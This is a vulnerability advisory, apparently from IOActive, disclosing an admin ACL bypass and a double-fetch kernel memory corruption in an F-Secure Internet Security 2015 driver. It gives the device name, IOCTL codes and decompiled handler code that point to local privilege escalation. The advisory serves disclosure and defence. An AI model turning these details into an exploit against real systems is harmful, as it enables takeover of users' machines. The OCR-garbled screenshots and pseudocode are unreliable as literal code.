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Admin ACL Bypass and Double Fetch Issue in F-Secure Internet

Security 2015
Severity High/Important
Discovered by Ilja van Sprundel
Advisory Date September 3, 2015

Affected Product
F-Secure Internet Security 2015

Impact

Local users could elevate their privileges to local admin/system/kernel.

Background

IOActive consultants downloaded and installed F-Secure Internet Security 2015 in a
Windows 7, 32-bit virtual machine (VM).

The consultants discovered the following security issues:

* Admin Device ACL Bypass: Allows any user to talk to a kernel device that is ACL’ed
to admin only.

* Double/Triple Fetch Bug: Allows a skilled attacker to instruct the kernel to allocate a
kernel buffer of one given size and copy data into the buffer, with another (larger)
size. This will cause kernel pool memory corruption. This can be leveraged to
provide a malicious attacker with local admin/system/kernel privileges.

The double fetch bug is dependent on the ACL bypass bug. We believe this issue is of
High/Important severity, because it allows a local user to elevate to a highly privileged local
user.

Both issues were discovered shortly after each other, in the course of a couple of days. The
ease of finding these issues is concerning. I0Active strongly recommends that F-Secure
perform a security review of their product as to avoid such trivial bug discovery.
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Technical Details

Entry Point Analysis

IOActive downloaded and installed F-Secure Internet Security 2015 in a Windows 7 32 bit
virtual machine. Once set up, we ran IrpTracker to see which IRPs were being sent to
which drivers. The consultants selected the \Driver\F-Secure Gatekeeper’ device, allowed it
to run for a period of time, and observed the following output:

& OSR's IrpTracker Utility V2.20
File View Options Help

c[s

Time Call/Comp IRP Addr-Seq Number | Originating Device Target Device Major Function Minor Function Completion Status B
17:0000465 NTAPL NiDeviceloContralFile  fsgld2.exe \Device\FSGKD DEVICE_CONTROL

17:00:00465 cal 0EBI4ATE-L15 \Device\FSGKD DEVICE_CONTROL

17:00:00465 Comp EBISIAS-LLS \Device\FSGKD DEVICE_CONTROL SUCCESS, Info = 0xd

17:0000465 NTAPIRet NeDesiceloControlFile  fsgla2.exe \Device\FSGKD DEVICE_CONTROL SUCCESS, Info = Oxd8

17:0000465 NTAPI NeDesiceloControlFile  fsgla2.exe \Device\FSGKD DEVICE_CONTROL

17:00:00465 cal 0:ESFEFI0-116 \Device\FSGK DEVICE CONTROL

17:00:00465 Comp OE5FER00-116 \Device\Fsq

17:00:00.465 NTAPIRet NtDeviceloControlFile fsgid2.exe \Device\Fsq = 0000000005 Device\FSGKO

17:0000465 NTAPI NeDesiceloControlFile  fssm32exe R P e — T

17:0000465 cal 087A04278-117 \Device\FS

17:0000465 Comp 087A04278-117 \DevicelFs

17:00:00465 NTAPRet MDeviccloControlfile  fssm32exe \DevicelFsq | Fooess:  Jdcizae ol | e e Feae

17:0000465 NTAPL NeDeviceloControlFile  fssm3zexe \DevicelFs

17:00:00465 call 0B7A04278-118 \Device\Fsq 10CTL: [TxcBeaf047 (Unknown) Function Code: ~ [3089

17:0000465 NTAPI NeDesiceloControlFile  fssmi2.exe \Device\Fs

17:0000465 Comp 087A04278-118 \DevicelFs SHORT Type - 56 ERPio_STACH 10N Curerd StackLocation - GE704
17:00:00465 NTAPRet NiDeviceloControlFile  fssmiZexe \Device!FS USHORT Size = Be34 UCHAR Majrfunclion = Gxe (DEVICE_CONTROL)
17:00:00465 cal O67DIGFO0-119 \Device\Fs PMDL MdlAddress - (x00000000 UCHAR MinorFunction = 00 ()

17:00:00465 Comp 067DIGF00-119 \DevicelFs ULONG Flags = (60000 UCHAR Piag

17:0000465 NTAPIRet NeDeviceloControlFile  fssm32exe \DevicelFs Lrion Asseciedip UCHAR Cortrl = 00

17:0000465 NTAPI NeDesiceloControlFile  fssmi2.exe \Device\Fs LIST_ENTRY ThrsadlLstErty £ urion Prameters

17:0000465 cal 087DI6F0-120 \DevicelFS 10_STATUS_BLOCK loStstus B strct DeviceloConirel

17:00:00465 Comp 067D4GFO0-120 \Device\Fs KPROGESSOR_MODE Requestorode = 01 (Userblode) ULONG OutputBufierLengh - 624
17:0000465 NTAPIRet NeDeviceloControlFile  fssm3zexe \Device\F BOOLEAN PendngRetumed = (0 ULONG nputBufierlength = b2
17:0000465 NTAPI NeDesiceloControlFile  fssm32.exe \DevicelFs CHAR StackCourt = ULONG loCortrolCode = GxcSeaf047
17:0000465 cal 087A08278-121 \Device\Fs CHAR CurertLocation - (1 PUOID TypednputBuffr - GOD2FOTFE
17:0000465 Comp 087A04278-121 \DevicelFs BOOLEAN Cancel - 10 PDEVICE _OBJECT DeviceObject ~ GxB505£200 [\Device\FSGKU)
17:00:00465 NTAPRet NeDeiicdoContralFile  fssmiZexe \Device\F ULONG Cancellc = 00 PFILE_OBJECT FikObject = G7ADESEE
17:0000465 NTAPL NeDeviceloControlFile  fssm3zexe \Device\Fs CCHAR ApcEnvronment = 0:0 PI0_COMPLETION_ROUTINE CompletionRottine = Cx00000000
17:0000465 cal 067404278122 \Device\F UCHAR AlocationFiags = 0cé PVOID Cortext = 000000000

17:0000465 NTAPI NeDeviceloControlFile  fssm32exe \DevicelFs PIO_STATUS_BLOCK Uselosh = (x03EAFACC

17:0000465 cal 87DIGF0-123 \DevicelFs PKEVENT UserEvert - (00000000

17:00:00465 Comp ETDIF0-L23 \Device!FS Lrion Overay

17:00:00465 NTAPIRet NeDeviceloControlFile  fssm32.exe \Device\Fs PDRIVER CANCEL CanceRoutine = (x00000000

17:00:00465 NTAPL NeDesiceloControlFile  fssm3Zexe \DevicelFs PUOID UsarBisfer = O0TAES4E

17:0000465 cal OETDAGFO0-124 \DevicelFs urion Tal

17:0000465 Comp 087404278122 \Device\FS

17:0000465 NTAPIRet NiDeviceloControlFile  fssmi32.exe \DevicelFS

17:00:00465 Comp OETDAGRO0-124 \Device\F

17:00:00465 NTAPIRet NeDeviceloControlfile  fssm3z.exe \DevicelFs

17:0003.383 NTAPI NeDesiceloControlFile  fsgla2.exe \DevicelFs

17:0003.383 cal 0858C5B13-125 \Device\FS

17:0003.383 Comp 0,858C5B18-125 \Device\FSGRD DEVICE_CONTROL

17:0003.383 NTAPRet NeDevicdoContralFile  fsgkd2.exe \Device\FSGKD DEVICE_CONTROL

17:0003.447 NTAPL NeDeviceloControlFile  fsgid2.exe \Device\FSGKD DEVICE_CONTROL

17:0003447 cal 06704D300-126 \Device\FSGKD DEVICE_CONTROL =
17:0003.447 Comp 08704D300-126 \Device\FSGKD DEVICE_CONTROL SUCCESS, Info = 0413

17:0003447 NTAPIRet NeDeviceloControlFile  fsgld2.exe \Device\FSGKD DEVICE_CONTROL SUCCESS, Info = 018
Ready

T~

Blzle

This reveals a number of things. There is an IOCTL IRP being sent from fsgk32.exe to
\device\FSGKO. The IOCTL code is Oxcbeaf047, which deconstructed means it is a

METHOD_NEITHER IOCTL, requiring READ_ACCESS and WRITE_ACCESS to the
handle, with a function code of 3089. This is a good entry point.

=
Pt
i
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Bug #1: Device Privileges

ProcessHacker shows that fsgk32.exe runs as system, but does indeed hold a handle to
\device\FSGKO:

Hacker View Tools Users Help

& Process Hacker [WIN-M4T25LTNEC\ifja]+ (Administrator)

) Refresh {3 Options | & Find Handles orDLLs 54 System Information | (7] (3 %

Processes | Senvices | Network | Disk

oo ks

Search Processes (Ctri-K) 0

[ services.exe
=

Name PID  CPU I/OTotal.. PrivateB.. UserName Description
577 System Idie Process 0 %615 0 NT AUTHORITV\SYSTEM

csrssexe 380 146 MB  NT AUTHORITVASYSTEM nt Server Runtime Process
o] csrss.exe a0 010 1409 MB  NT AUTHORIT\SYSTEM Client Server Runtime Process
=] dithost.exe 2308 355MB  NT AUTHORITV\SYSTEM COM Surrogate
B conhostexe 3608 812kB  WIN-H4T25LTNBC\lja Console Window Host
[ dwm exe 3660 186 MB  WIN-HAT25LTNBC\ja Desktop Window Manager
=] DiscSoftBusService.exe 4088 540B/s  336MB NT AUTHORITVSYSTEM Disc Soft Bus Senvice
57 fsgi32.exe 70 1521 MB_ NT AUTHORITASYSTEM F-Secure Gatekeeper Handler 32-bit
7] fshoster3z.exe 1265MB  NT AUTHORITV\SYSTEM F-Secure Host Process
€7 fshoster32.exe 4346 MB WIN-H4T25LTNECja F-Secure Host Process
[ FsmAz2.EXE 165MB  NT AUTHORITV\SYSTEM F-Secure Management Agent
=] fsorsp.exe 259 MB  NT AUTHORITANETWORK SERVICE F-Secure ORSP Service
(7] fssm3z.exe 28175MB  NT AUTHORITW\SYSTEM F-Secure Scanner Manager 32-bit
F FSMB2.EXE 336MB  WIN-H4T25LTNBC\ilja F-Secure Settings and Statistics
© chrome.exe 4077 MB WIN-HAT25LTNBCja Google Chrome
[ svchost.exe 351MB  NT AUTHORITV\SYSTEM Host Process for Windows Services
5] svchost.exe 314MB  NT AUTHORITV\NETWORK SERVICE Host Process for Windows Services
[ svchost.exe 860 1266 MB  NT AUTHORITV\LOCAL SERVICE Host Process for Windows Services
=] svchost.exe %00 028 1331kB. 5723MB NTAUTHORITVASYSTEM Hast Process for Windows Services
57 svehost.exe o0 547 MB  NT AUTHORITV\LOCAL SERVICE Host Process for Windows Services
[ svchost.exe 976 1413 MB  NT AUTHORITV\SYSTEM Host Process for Windows Services
5] svchost.exe 1080 21MB NT AUTHORITV\SYSTEM Host Process for Windows Services
[ svchost.exe 1200 13.21MB  NT AUTHORITVANETWORK SERVICE Host Process for Windows Services
=] svchost.exe 1452 10,02 MB  NT AUTHORITVALOCAL SERVICE Hast Process for Windows Services
57 svehost.exe 1504 518MB NT AUTHORITV\SYSTEM Host Process for Windows Serviees
[ svchost.exe 5052 121MB  NT AUTHORITV\LOCAL SERVICE Host Process for Windows Services
57 taskhost.exe 500 7.25MB  WIN-HAT25LTNBC\lja Host Process for Windows Tasks
=7 Interrupts 064 0 Interrupts and DPCs
7 Isass.exe: 520 309 MB  NT AUTHORITV\SYSTEM Local Security Authority Process
(277 1sm.exe 536 185MB  NT AUTHORITASYSTEM Local Session Manager Service
& msdtc.exe 2700 309MB  NT AUTHORITY\NETWORK SERVICE Microsoft Distributed Transaction Coordinator Service
5] Searchlndexer.exe 2028 S76B/s  17.27MB NT AUTHORITV\SYSTEM Microsoft Windows Search Indexer
=] System 4 om 45KkB NT AUTHORITV\SYSTEM NT Kernel & System
47 IpTracker.exe 212 007 1175MB  WIN-H4T25LTNECja OSR's IrpTracker Utility
B ProcessHacker.exe 28 112 965MB  WIN-H4T25LTNBC\ja Process Hacker

a8 111 359MB NT AUTHORITV\SYSTEM Services and Controller app

CPUUsage: 3.85%  Physical Memory: 34.95% Processes: 50

Bl

Figure 1: Fsgk32.exe runs as system

[=le]t=]

Search Processes (Ctri-K) 0

=
P Process Ha L R Propere
Hacker View
@, Refresh (| | General [ Statstics [ Performance [ Thweads [ Token [ Moduies | Memory [ Environment | Handles [Geu [ Disk and Network | Comment
Processes | Sen|
Pl Type Name . Handle -
SRR || | gvent \BasehamedObjects Ppeserversynchsgkiap_3 Oxiba
= crssoe Event {pasehamedObjects PipeServerSyncren 10866860721 0520
[ csrssexe Event ‘BasehamedObjects |PipeServerSynaren_109822109384 ox324
577 dithost.exe| Event N Ox6ac
B conhost.eq Event ipe F 17321 1846 Ox2e0
] dwm.exe Event \pasehamedo pe: 0x668
[ DiscSoftBu| | | Event \BasehamedObjects PpeserverTakenfsokiapi 038
= Event \BaseMamedObjects PpeServerTakenfegkiopi_0 0320
5 oo | | Bt \Bosehamedobjects PpeserverTakenfsgkiap_L Oxt30
shoster Event "BaseNamedObjects PipeServerTakenfsgkapi_2 owase
= fshoster32) Event \BaseNamedObjects \PipeServerTokenfaghiopi_2 0x490
EIFSMAR2EN | | event \Basehamedobjects\TermsrvReadyEvent Oxit
=] fsorsp.exe Section "BasehamedObjects windows_shel_giobal_counters oxz3c
7 fssm32.exe| Desktop Pefauit Ox3c.
F FsMB2ExE | | File ‘Device|FSGKD 0x600
File pevice\FS60 0x650
File PevicelfsecDD Ox6e
File pelB ox6do
File o CPSettngsChangeNiotf_t 184676334 048
File \DeviceliamedPipe|ch-6¢4-314315-1 04628
€ chomeed | | e DeviceamedPie\fsghapi oxsos
25 Googlelps File "Device amedFipe\fsgkiapi_0 oxs2c
25 GoogleUpe Fie \Pevice\NamedPipe\fsghizp_t oware
[+ svehost.ex Fie DeviceamedPipe\fsakiapi_2 Ontac
S —— File eviceamedPipe|fsgkiapi_3 Oxsda
i "Device\iamecFipe|fegh e
File evice\NamedPipe\ren_10966850721 06 M
[ svehost.ex . aPpeen_ 3
9 svchostx File Device lamedPipean_108822109334 ax3se
2 suchostex File "Device\NamedPipe\_fships_hook server__ 0x228 =
= File "Device\liamedPips\_fhips_hook_server_ Owsee
svehostexq| | | re PevicelNamecPipe\._fships_hook server_ oxs04
[ svchostext | | e "pevice NamedPipe\_fships_hook_server_ Ocs14 L
5] suchost.exe File Pevice\Namedpipe\_fships_hook server__ 0524
577 svchost.ex File Pevice\NamedPipe\_fships_hook server__ ox544
svchost.ex i evice NamedPipe\_fships_hook_server_ 0554
i \pevice \NamedPipe\_fships_hook:
[ svehost.ex File "Device\iamecPipe\_fships_hook_server__ 0564
[ taskhosted | | e peviceflamecPipe),_fhips_hook_server_ 0574
File "Device\NamedPipe\_fships_hook _server_ Oxs84
taskhost.
Eltasthosteq] | | o "Device\iamecPipe\_fships_hook_server__ 094
57 Interrupts.
o i File \Pevice\NamedPipe\_fships_hook_server__ OxSb4
==cn File "Device\NamedPipe\_fships_hook_server_ st
= lsmeexe Fie "Device\iamecPipe\_fships_hook_server__ 04
s msdte.exe Eia Febine ol carver Nutes S
5] sppsvc.exe|

[ ) e

Figure 2: fsgk32.exe has an open handle to \device\fsgkO

DeviceTree reveals the actual ACL on the device:
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DeviceTree V230 - Driver View - OSR's Device and Driver Explorer
File View Search Ids Help

Slellop|

DRY \Driver\ACPI
DRY \Driver\ACPI HAL

: DevieeFSGR Type: [oxc5ea [ \Device\FSGKO Praperties =)
\oriver  Secure Gatehesper

e Object  x883186F8 FsDevice: 000000000  Importance:
Driver Object:  [0x83325AA8 Device Type:  fixcea 3

= 0x00000000 Stack Size: 1
== P

Secutty |
B0

f1x00000000 e
Dx0 44 Aciministrators (WIN-44 T25L TNBC \Administrators)

fixt) 82, 5YSTEM

T
12/31/69 16:00:00 e B 00000000

o Sectorsze: Owning Dev Obj: [0x88318878
e

Interpreted Deviee Flags:

DEVICE_HAS_NAVE

DRYO_LEGACY_RESOLRCES

NEITHER_IO o

Vpb 0x00000000

- -

- -

Compatble Tds:

I~ LodkSupported [~ Removable
™ EjectSupported  pgress:

Systemake:
Dilatency:
DaLatency:

- B -

Res

Drver hade NO FILE_DEVICE_SECURE_OPEN flag used !

(2R R REE RS

REEREIREIREARESS

&

g

- i)

While the device ACL for \device\FSGKO explicitly states it is only accessible by
administrators and the SYSTEM account, the device characteristics are empty. Specifically,
they do not contain FILE_DEVICE_SECURE_OPEN.

MSDN says the following about that flag:

“If a device object's FILE_DEVICE_SECURE_OPEN characteristic is set, the system applies the
device object's security descriptor to all file open requests in the device's namespace. Drivers can
set FILE_DEVICE_SECURE_OPEN when they create the device object with loCreateDevice or
loCreateDeviceSecure.”

FILE_DEVICE_SECURE_OPEN was specifically added in Windows 2000 to distinguish
between File System drivers and other drivers. If the flag is not set (as is the case here) the
ACL is applied only to the device, not any ‘file’ inside of it. That is to say, any open as non-
admin of \device\FSGKO will fail, but any open of \device\FSGKO\something will succeed.
Because the FILE_DEVICE_SECURE_OPEN flag is not set, the IO Manager assumes this
is a file system driver, and as such, will implement its own ACLs on files and directories
inside the device. Since this is not a file system driver, this is a pretty straight forward ACL
bypass, and bug #1.
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Device Name

While \Device\FSGKO is the device name, the exposed symbolic link to userland has a
different name. The consultants used WinObj to find the symbolic link:

. WinObj - Sysintemnals: wiw.sysintermals.com

File View Help

PR Name Type Symlink
ArcName [@o: SymbolicLink \Device\CeRomd
. 'é:‘s‘?::'k”emm““ [@DISPLAY#DEfault Mo... SymbolicLink \Device\000000bS
"R Dovice [@]DISPLAY=Default Mo... SymbolicLink \Device\000000bS
Driver [@]oispLavi SymbolicLink \Device\VideoD
FleSystem [@prspLavz SymbolicLink \Device\Videol
AT [@pispLav3 SymbolicLink \Device\Video2
KemelObjects [@oispravs SymbolicLink \DeviceWVideo3
KnownDlls [@orspLavs SymbolicLink \Device\Videod =
NLS [@]oispLave SymbolicLink \Device\VideoS
ObjectTypes [@]DTLITESCSIBUS#CdRo.. SymbolicLink \Device\000000bd
ROC Control [@[DTUITESCSIBUSECaRo... SymbolicLink \Device\000000bd
Secuity E SymbolicLink \Device\CdRoml
Sessions [@]FDC#GENERIC_FLOPP... SymbolicLink \Device\FloppyPDOO
UMDFCommunicati | (@] FOC#GENERIC_FLOPP... SymbolicLink \Device\FloppyPDOO
Windows [@FitMgr SymbolicLink \FileSystem\Filters\FitMgr
[@Frtmagriasg SymbolicLink \FileSystem Filters\FiE
[@fsbts SymbolicLink \Device\fsbts
FscC bolicl Device\FSCC
[#[FSGatekeeperDey SymbolicLink \Device\FSGKD
Wiap SymbelieLink Device Falirap
[@Fecontrol SymbolicLink \Device\VallgrControl
[@atobal SymbolicLink \GLOBAL??
[#]6LoBALROOT SymbolicLink
[@HarddiskoPartition  SymbolicLink \Device\HarddiskVolum.
[@HarddiskVolumel SymbolicLink \Device\HarddiskVolum..
[@Harddiskolumeshad... SymbolicLink \Device\HarddiskVolum.
[@HarddiskVolumeshad... SymbolicLink \Device\HarddiskVolum.
[#]HarddiskVolumeShad... SymbolicLink \Device\HarddiskVolum.
[@Harddiskvolumeshad... SymbolicLink \Device\HarddiskVolum.
[@HarddiskVolumeShad... SymbolicLink \Device\HarddiskVolum..
[@Harddiskolumeshad... SymbolicLink \Device\HarddiskVolum.
[@HarddiskVolumeShad... SymbolicLink \Device\HarddiskVolum..
[#]HarddiskVolumeShad... SymbolicLink \Device\HarddiskVolum.
[@Harddiskvolumeshad... SymbolicLink \Device\HarddiskVolum.
[@Hcpo SymbolicLink \Device\USBFDO-0
[@Heor SymbolicLink \Device\USEFDO-1
[@]HDAUDIO#FUNC 0L SymbolicLink \Device\000000b3
[#]HDAUDIOSFUNC 01...  SymbolicLink \Device\00000063
[#]HDAUDIOSFUNC 01..  SymbolicLink \Device\000000b3
[#[HDAUDIOSFUNC 0., SymbolicLink \Device\000000k3
[@[HDAUDIOSFUNC 01..  SymbolicLink \Device\000000b3
af n * || [@[HDAUDIOSFUNC 01... _SymbolicLink \Device\000000b3 S

\GLOBAL??\FSGatekeeperDev.

e

o=

The symbolic link is called FSGateKeeperDev. This allows any non-admin user to
CreateFile for “\\W.\\FSGateKeeperDev\something” and get a valid handle back.
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Image File Name

At this point, some reverse engineering was required.

The first step is finding the right image path for this driver. IOActive consultants did this
using DriverQuery:

£t
Coronioht 45 Bbhe Wis
C:\Windows systen32>f lenc

ni 322082
[F-Secure Gatekeeper 3 322080

Luasy 135080
[Filelnfo 15060
c:\Windous\systend2bdriverquery /2

PRIVERQUERY [/ sgston [/P [password1111
P A R R

nistrator to display a list of
drivers. IrpTracker.
Specifies the remote system to connect to.

[domain\luser  Specifies the user contex
s ek The b nnand ahould execute.

Ipassword] Specify the passuord For the given
user contex

format Specifics the type of output to display.
u values to be h
ABL]

Specities cthat the "Colunn Head:
should not be displaged. Ualid for
BLE" and VCSU" Format only
Provides information about signed drivers.

ays ver output. Not valid
igned drivers

ays this help message.

7t
UERY 3 ipaddross o user AU
DRIVERQUERY /! /U domaim\user /P password /FO LIST

" drivers - Notepad

E=5EE =]
File Edit Format View Help

T File system Driver”
ee)

"File system ” Manuaﬂ "stopped” :ALs; FALSE 106,A96“,"16,35A".“u “7/1;/2u09 4:1d:0L P \wmduws\syscemzz\drwvers\exfa( sys”
er "Mal FAL B 1 122 880", "0 ) 27 e

,192"
: Tes\F- Secur‘e\SAFE\apps\(umpu(er‘ﬁe(ur1( \AELVirusminiT rerstaglc. sys”
fver™, "Kern

ure A r s Syst Cen’ Tunning - RUE SE 92! snm "5 g Fw \: Se(ure\sAFE\apps\Cumpu(erSe(uﬂty\HIPs dr‘1ver5\fshs sys
"FAT12/16/32 File System nrwer ,"File System " Manua'\ Stmpped oK™ :ALs: :ALs: 7/1 /2009 4:14: 01 Ain uws\system;z\dr‘1verS\FastFat sys”,"12,
Iuppy Disk Controller Driver”,"Kernal *,"Manual”,"Running”, ‘oK™, TRUE®,"FalsE”,"4,006","16,384" “’/12/2009 4:45:45 PM","Ct \WWnduws\sys(em!Z\DRIvERS\fdc sys”,"4,00

«

o . €]

G
]| T ]

DriverQuery shows the image file is located in c:\program files\F-
Secure\SAFE\apps\ComputerSecurity\Anti-Virus\minifilter\fsgk.sys.
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Bug #2: Reverse Engineering
When opening this image up in IDA Pro, its DriverEntry looks like:

I0Active

1[int _ stdcall DriverEntry2{PDRIVER DBJECT DriverObject, PUNICODE STRING RegistryPath}
2K

3| int v2; /7 esi@l

4 bool v3; f/ sfE18

5 PUDID wh; ff eax@id

6| uold *=u5; ff eax@12

7| int result; // eax@17

8| int v7; fF esi@l1®

9| PDRIVER_OBJECT wg; // eax@2g

18

68 {

61 uf = dword_30228;

62 dword 38228->MajorFunction[®] = (PDRIVER DISPATCH)sub 11C28;
63 vg->*MajorFunction[1%] = {(PDRIVER DISPATCH)sub 11C78;

64 vg->MajorFunction[14] = {(PDRIVER DISPATCH)Ioctl dispatch;
65 vi->MajorFunction[18] = (PDRIVER_DISPATCH)sub_11D98;

66 v8->MajorFunction[2] = {(PDRIVER_DISFATCH)sub_11DEB;

67 vi->MajorFunction[16] = {(PDRIVER_DISPATCH)sub_11E38;

68 vi->DriverUnload = (PDRIVER_UHLOAD)sub_12118;

69 result = vy,

e }

71| return result;

720

Clearly showing the WDM driver model is used, with an IOCTL dispatch major function

defined. The ioctl_dispatch function looks like:

int _ stdcall ioctl dispatch{int a1, PIRP Irp}

{
int vw2; /f esi

Irp->IoStatus.Information = 8;
if { a1l == ={ DUWORD =){dword 38234 + 72} )
v2 = Toctl handler{{ DWORD =)dword 38234, Irp});

1
2
3
I
51 w2 = B;
G
i
g
9 if { w2 *= 259 )

18| ¢

11 if ( v2 == 1873741842 )

12 {

13 Uz = B;

14 ¥

15 else

16 {

17 Irp->IoStatus.Status = vw2;
18 IofCompleteRequest{Irp, 8};
19 ¥

28| 3}

21 return v2;

220}

Showing the dispatch routine is a simple wrapper around an IOCTL handler, which looks

like:
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int _ thiscall Ioctl_handler{ DWORD =this, PIRP Irp)
4
PIRP irp2; // esi@l
PIO_STACK_LOCATION irpSp; // eax@1
_DWORD =uk4; J/ ebxz@El
ULOMG ioctlCode; /7 ecx@1
int vé; 7/ edi@
int v7; // ecx@3
int v8; /7 ecx@y
_IRP =u9; j/ edi@7
11| dint v18; // eax@?
12| int result; // eax@1%
13 IRP =u12; /F eax@27

14 IRP =u13; // edi@43

15| _IRP =uil; // ecx@47

16| _IRP =vu15; // eax@Sh

17| ULONGE vié; // edi@ss

18| PID_SECURITY_GONTERT v17; // ecz@56
19| int vi18; // eax@57

20| _IRP =u19; /f ecx@59

21| ULONG inlLen; // edi@68

22| ULDNG outlLen; /f ecx@61

23| KIRQL Irql[%]; // [sp+Ch] [bp-8h]E58
24| int v23; ff [Sp+18h] [bp-4h]E@57

25
26 irp2 = Irp;

27| dirpSp = (PIO_STACK_LOCATION)Irp->Tail.Overlay.CurrentStacklLocation;
28| ul = this;

29| doctlCode = irpSp->Parameters.DeviceloControl.loControlCode;

38 uvé = B3

-
@000 O W R -

86| if { ioctlCode > BxCSEAFB24 )

87| 4

88 switch { ioctlCode )

89 {

154 case BxCSEAFBYT:

155 inLen = irpSp->Parameters.DeviceloControl.InputBufferLength;
156 if { inLen € @x1% 3

157 return 8xCOOA0RAD;

158 outlen = irpSp->Paraneters.DeviceloControl.OutputBufferLength;
159 if ( outlen < Bx14 )

168 return 8xCAAGBBAD;

161 Irp = B3

162 ioctl_type_3889{irpSp->Parameters.DeviceloControl.Type3dInputBuffer, inlLen, irp2->UserBuffer, outlLen, {PIRPY&Irp);
163 irp2->IoStatus.Information = (ULONG)Irp;

164 goto LABEL_51;

165 case BxCSEAFO38:

179 ¥

188 return BxCOAABA0AGD;

263| irp2->IoStatus.Information = 96;
264|LABEL_51:

265| irp2->IoStatus.Status = 8;
266|LABEL_52:

267| IofCompleteRequest({irp2, 8);

268| return 8x48080812;

2693

This is a classic IOCTL handler, which extracts the IOCTL code from the IRP stack, and
implements a switch/case to handle IOCTL codes. The code above shows the case for the
0xc5eaf047 IOCTL code. This matches the one found using IrpTracker (see above). It
basically checks the input and output buffer are = 20, and if so, calls ioctl_type_ 3089

function. This looks like:
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int _ stdcall ioctl_type_3889(void =inbuf, SIZE_T inlen, void =outbuf, SIZE_T outlen, PIRP a5)

i
int w5; /7 edi@
void =outbuf2; /7 esi@y
int result; // eax@s
bool w8; 77 zf@E@6
char =u9; F7 ecxiE@8
SIZE_T Lengtha; // [sp+18h] [bp+Ch]@9
char =putbufa; /7 [sp+1Ch] [bp+18h]E26
SIZE_T outlena; // [sp+28h] [bp+14h]@6
vt = B;
if ( inlen >= Bx14
&& outlen >= Bx14
&& ProbeWrapper{inbuf, inlen, 1)
&& (outbuf? = outbuf, ProbeWrapper{outbuf, outlen, 8)) )
{
vd = outlen == 28;
outlena = outlen - 28;
*=({_DWORD =)outbuf = 85
*((_ DWORD =)outbuf + 2} = B;
*((_ DWORD =)outbuf + 3) = B;
*((_ DWORD =)outbuf + 4) = B;
*{_DWORD *)&a5->Type = 28;
*((_ DWORD =)outbuf + 1) = 3;
*{_DUWORD =)outbuf = =({_DWORD #*}inbuf;
outbufa = (char =)outbuf + 28;
if ( v8 )
outbufa = 8;
u9 = (char =)}inbuf + 2@;
if  inlen <= @x14 )
{
vl = B;
Lengtha = 8;
H
else
{
Lengtha = inlen - @x14;
H
switch ( =(_DWORD =)inbuf }
{
case B:
result = ioctl_type_3889_subtype_@{(int)inbuf, {int)outbuf2, {int)as5);
break;
case 1:
result = ioctl_type_3889_subtype_1{inbuf, outbuf2, aS5);
break;
case 2:
result = ioctl_type_3889_subtype_2{inbuf, v9, Lengtha, outbuf?, a5});
break;
case 4:
result = ioctl_type_3889_subtype_4{inbuf, v9, Lengtha, outbuf?, a5});
break;
case 5:
result = ioctl_type_3889_subtype_S{outbuf?, v9, Lengtha, outbufa, outlena, aS5);
break;
case 6:
result = ioctl_type_3889_subtype_6{outbuf?, v9, Lengtha, outbufa, outlena, aS5);
break;
case 13:
result = ioctl_type_3889_subtype_13{outbuf?, v9, Lengtha, outbufa, outlena, a5);
break;
case 7:
result = ioctl_type_3889_subtype_7{outbuf?, v9, Lengtha, outbufa, outlena, a5);
break;
case 9:
result = ioctl_type_3889_subtype_9{outbuf2, v9, Lengtha, outbufa, outlena, a5);
break;
case 18:
result = ioctl_type_3889_subtype_18(inbuf, v?, Lengtha, outbuf2, a5);
break;
case 11:
result = ioctl_type_3889_subtype_11(outbuf?, v9, Lengtha, outbufa, outlena, a5);
break;
case 14:
result = ioctl_type_3889_subtype_14(outbuf?, v9, Lengtha, outbufa, outlena, a5);
break;
case 12:
u5 = ioctl_type_3889_subtype_12{inbuf, outbuf2, aS5);
goto LABEL_25;
default:
LABEL_25:
result = u5;
break;
H
H
else
result = 1873741811,
H
return result;
H
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int vb; /7 esi@]

u6 = (int)this;

if { ={ BYTE =){a
sub_24CDA();

return A;

[ e Bl - e
Ead

-

1+ 8) &1)

I0Active

This function probes the input and output pointers and contains another switch/case, which
is basically a sub type handler. Looking at ioctl_type 3089 subtype 2:

This is basically a simple wrapper. The internal version looks like:

1
2
3| int vd; /7 esi@t

4 PERESOURCE =uvl; // ebx@1
5 woid =u5; /f/ eax@d

6| unsigned int vé; // edz@?
7| unsigned int u7; 7/ eax@9
8| PUDID u8; // cax@l2

9 PUDID v?; // eax@E13

16| char result; /7 al@is

lchar __thiscall ioctl_type_3889_subtype_2_internal(int this, void =DataBuf, unsigned int len)
4

11| PERESOURCE *ui1; // [Sp+Ch] [bp-8h]@1

12| char v12; f/ [sp+16h] [bp-Lkh]@1
14 u3 = this;

ul;

H
®*(PERESOURCE ##){this + 64);

19 {

20 KeEnterCriticalRegion();

21 ExAcquireResourceExclusiveLite{=vl, 1u);
22| ¥

23| u5h = #={uoid =x){u3 + L4);
24 =(_BYTE =)ud = 13

25| »{ BYTE =)(vd + 1) = @;
26 if { u5 )

27 Free{u5});
28| if { ={_DWORD =){u3 + 8) )
29 Free(*x(PUDID *)(u3 + B));

36| =(_DWORD =){u3 + 4)

int _ thiscall ioctl_type_30889 subtype_2{void =this, int a1, int a2, int a3, int a4, int a5}

={ DWORD =){alk + 4) = {(ioctl_type_ 3889 subtype_2 internal{vi + 4u@, a2, a3) t= @) + 1;

Length Check

N *{_DWORD =)(uv2 + 8) a;

32| if ( len »= Bx16

33 &k DataBuf

34 && (v6 = ={{_DWORD =)DataBuf + 3), u7 = ui + *({_DWORD =)DataBuf + ), |=({_DWORD =)DataBuf + 2} <= lenL__x
35 && v/ >= uh

%) aevr < Len > 1]

37| ¢

38 sub_13070();

39 *#{_BYTE *)u3d = =(_BYTE =)DataBuf;

48 *( BYTE =){v3 + 1) = *(({_BYTE =*)DataBuf + 4);

L} u8 = Allocate(PagedPool, 2 =
42 #{ DWORD =){v3 + L4) = ug;

43 if ( tug )

m {

45|LABEL_15:

46 sub_14A808(&u11);

47 return 8;

48 ¥

49 memcpy(vs, (char =)DataBuf +

g1 uv? = Allocate{PagedPool, 2 =

28, 2 = |=({_DWORD =)DataBuf + 3)’-)—'—,
58 *#(_WORD =)(*(_DWORD =){u3 + 4) + 2 = = *)DataBuf + ) =

|*((_DWI]RD *)DataBuf + 3)| + 4, Br6DGT7IA6u);
I

Double Fetch

LH
*({_DWORD =)DataBuf + 4)| + 4, Bx6D677346u);

52 *{_DUORD *)(u3 + 8) = u9;

53 if ( tu9 )

o4 {

55 *(_BYTE =)(v3 + 1) = B8;

56 goto LABEL_15;

57 ¥

